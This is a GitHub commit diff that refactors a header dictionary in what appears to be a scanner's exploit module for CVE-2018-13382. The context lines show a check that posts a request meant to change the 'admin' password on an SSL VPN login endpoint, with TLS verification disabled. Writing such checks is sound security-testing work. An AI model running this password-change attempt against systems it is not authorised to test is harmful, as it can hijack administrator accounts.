Skip to content

Commit

Permalink
fix comments
Browse files Browse the repository at this point in the history
  • Loading branch information
PiranhaSa committed Nov 22, 2023
1 parent d360d5d commit 80d399e
Showing 1 changed file with 9 additions and 16 deletions.
25 changes: 9 additions & 16 deletions agent/exploits/cve_2018_13382.py
Original file line number Diff line number Diff line change
Expand Up @@ -13,6 +13,13 @@
disable_warnings(exceptions.InsecureRequestWarning)

DEFAULT_TIMEOUT = 90
HEADERS = {
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Connection": "close",
"Upgrade-Insecure-Requests": "1",
}

logger = logging.getLogger(__name__)

Expand All @@ -27,15 +34,8 @@ def accept(self, target: definitions.Target) -> bool:
"""Verify if the host is alive."""
try:
url = f"{target.scheme}://{target.host}:{target.port}/remote/login?lang=en"
headers = {
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Connection": "close",
"Upgrade-Insecure-Requests": "1",
}
r = requests.get(
url, headers=headers, verify=False, timeout=DEFAULT_TIMEOUT
url, headers=HEADERS, verify=False, timeout=DEFAULT_TIMEOUT
)
return r.status_code == 200 and "<title>Please Login</title>" in r.text

Expand All @@ -45,13 +45,6 @@ def accept(self, target: definitions.Target) -> bool:
def check(self, target: definitions.Target) -> list[definitions.Vulnerability]:
"""CVE-2018-13382 : An Improper Authorization vulnerability"""
url = f"{target.scheme}://{target.host}:{target.port}/remote/login?lang=en"
headers = {
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Connection": "close",
"Upgrade-Insecure-Requests": "1",
}
# we are trying to change the password for the user : admin
data = {
"ajax": "1",
Expand All @@ -64,7 +57,7 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]:
}
try:
res = requests.post(
url, headers=headers, data=data, verify=False, timeout=DEFAULT_TIMEOUT
url, headers=HEADERS, data=data, verify=False, timeout=DEFAULT_TIMEOUT
)
except requests.exceptions.RequestException:
return []
Expand Down

0 comments on commit 80d399e

Please sign in to comment.